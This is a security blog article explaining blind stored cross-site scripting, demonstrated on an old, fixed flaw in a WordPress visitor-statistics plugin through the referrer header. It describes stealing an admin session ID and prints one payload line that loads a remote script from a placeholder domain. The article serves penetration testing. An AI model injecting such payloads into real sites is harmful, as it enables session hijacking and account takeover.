Blind Stored Cross-Site Scripting

In this article, we join security researcher Roy Shoemake to learn what blind Cross-Site Scripting (XSS) is and a couple of ways to test for it.

Blind Stored Cross-Site Scripting

In this article, you will learn what is blind Cross-Site Scripting (XSS) and a couple of ways to test for it. During a normal web application assessment, we test for XSS by injecting a payload somewhere in the application.  This might be in a comment section of a website, parameter, header location, etc.  Most of the time when testing for XSS we are looking for an instant reaction, such as a popup box.

But what if we don't see that popup?  Does that mean the website is not vulnerable? Not necessarily.  When we inject the payload the web application may store it somewhere we don’t have access to.  This could be in a database, log file, or another area of the same or different application.

As the tester, we may not be aware of where or if the payload is being stored.  We also don’t know when a user might visit the specific functionality.  

For our quick demonstration, we will use Wordpress along with a plugin that is vulnerable to blind XSS.  The count per day plugin allows an admin to view statistics about visitors.  Note: the vulnerability is old and has been fixed.

With this plugin, the referrer header is tracked and the information is stored in a table called wp_cpd_counter.  As the screenshot below shows the table for our setup is currently empty.

In the below screenshot, you will see I am injecting JavaScript into the referrer header.  At this point, we won't see anything happen.  Remember that the count per day tracks the referrer header, which is stored in the database and presented to an admin.  The JavaScript won't actually execute until the admin views user statistics.  

If the application is vulnerable, the payload will reach out to my server and execute sploit.js, which has the following JavaScript.

On the server side, I set up a simple web server using python to watch for the request and host the sploit.js script.

If you only need to provide proof the application is vulnerable to blind XSS you can simply wait for the web server to log a request.  In my example, I am stealing the admin session ID with sploit.js.  

The below screenshot shows sploit.js being executed and grabbing the PHP session id for admin.  This happens when the admin visits the count per plugin within the admin portion of Wordpress.

In our example, we have full control over both the admin and attacker sides.  But as a tester, you may not have control over all areas of the web application.  That is why testing for blind XSS can sometimes be missed.  You will need to set up a server and wait to see if the functionality is accessed that executes the XSS payload.

Python Blind XSS Script

For the fun of it, I wrote a python script to listen on HTTPS for incoming connections, send an email, and log the details in a log file.  If I was using this in production I would probably just use the logging functionality and forgo the email notifications.  But I added the email notification just because.  

For the script, you will need to generate a key and crt file using openssl for https to work.  I added a comment in the script on how to generate the key and crt files but the command looks like this:

openssl req -newkey rsa:2048 -nodes -keyout newkey.key -x509 -days 365 -out newcert.crt

You will also need to add the SMTP credentials if you are using email.  

After adjusting some values in the script, you would just run:

python3 blind_xss_server.py

On the client side, you would inject a payload such as:

<script src=//DOMAIN:4443/BxXxSxS></script>

Then watch the log file and monitor for an email alert.  

My script can be found on GitHub in case someone else finds it useful:  https://github.com/rasinfosec/scripts/blob/master/blind_xss_server.py    

The awesome artwork used in this article is called 'Blinded' and it was created by Tadd Martin.